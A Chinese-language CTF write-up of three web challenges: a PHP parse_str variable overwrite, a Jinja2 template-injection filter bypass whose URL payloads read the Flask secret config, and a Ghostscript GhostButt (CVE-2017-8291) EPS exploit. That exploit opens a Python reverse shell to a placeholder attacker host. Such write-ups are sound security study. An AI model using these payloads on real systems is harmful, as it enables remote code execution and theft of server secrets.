WEB
Simple Auth
首先可以拿到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
require_once 'flag.php';
if (!empty($_SERVER['QUERY_STRING'])) {
$query = $_SERVER['QUERY_STRING'];
$res = parse_str($query);
if (!empty($res['action'])){
$action = $res['action'];
}
}
if ($action === 'auth') {
if (!empty($res['user'])) {
$user = $res['user'];
}
if (!empty($res['pass'])) {
$pass = $res['pass'];
}
if (!empty($user) && !empty($pass)) {
$hashed_password = hash('md5', $user.$pass);
}
if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
echo $flag;
}
else {
echo 'fail :(';
}
}
else {
highlight_file(__FILE__);
}
它需要传过去的action等于auth,记录下user和pass,如果md5(user.pass)===’c019f6e5cd8aa0bbbcc6e994a54c757e’,那就有flag
很明显直接md5进行解密是不行的,但是我们看到有个parse_str函数,而且还没有第二个参数,因此可以进行变量覆盖的漏洞利用,payload:1
?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e
然后就能拿到flag1
TWCTF{d0_n0t_use_parse_str_without_result_param}
Shrine
这题进去就给了源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
def index():
return open(__file__).read()
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
可以看到用了jinja和有一堆黑名单,猜测是jinja2的ssti注入
信息收集
1、/shrine/<path: shrine>是注入点
2、过滤了括号和config以及self
3、漏洞是jinja2的ssti漏洞
简单尝试
试下能不能执行1
2http://shrine.chal.ctf.westerns.tokyo/shrine/{{3*3}}
>>>9
确实可以进行ssti,但是我们要想办法绕开waf
如果完全没有waf,我们可以1
2
3
4
5
6
7 config
http://shrine.chal.ctf.westerns.tokyo/shrine/{{config}}
self
{{self}} => <TemplateReference None>
http://shrine.chal.ctf.westerns.tokyo/shrine/{{self.__dict__}}
()
http://shrine.chal.ctf.westerns.tokyo/shrine/{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}
但是现在有waf,所以我们不能直接利用,这里大佬给了两个利用点
url_for
在url_for里面,我们可以找到current_app1
2{{url_for.__globals__}}
http://shrine.chal.ctf.westerns.tokyo/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
get_flashed_messages
这个里面也能找到current_app1
2{{get_flashed_messages.__globals__}}
http://shrine.chal.ctf.westerns.tokyo/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
这样就能拿到flag了TWCTF{pray_f0r_sacred_jinja2}
slack emoji converter
依旧是能拿到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44from flask import (
Flask,
render_template,
request,
redirect,
url_for,
make_response,
)
from PIL import Image
import tempfile
import os
app = Flask(__name__)
def index():
return render_template('index.html')
def source():
return open(__file__).read()
def conv():
f = request.files.get('image', None)
if not f:
return redirect(url_for('index'))
ext = f.filename.split('.')[-1]
fname = tempfile.mktemp("emoji")
fname = "{}.{}".format(fname, ext)
f.save(fname)
img = Image.open(fname)
w, h = img.size
r = 128/max(w, h)
newimg = img.resize((int(w*r), int(h*r)))
newimg.save(fname)
response = make_response()
response.data = open(fname, "rb").read()
response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
os.unlink(fname)
return response
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080, debug=True)
这题考了GhostButt任意命令执行(cve-2017-8291),通过bypass dSAFER参数达到目的,exp如下1
2
3
4
5
6
7
8
9
10!PS-Adobe-3.0 EPSF-3.0
%BoundingBox: 0 0 30 30
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps-ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') currentdevice putdeviceprops
然后就能getshell了
具体分析请参考: https://paper.seebug.org/310/
https://github.com/vulhub/vulhub/tree/master/python/PIL-CVE-2017-8291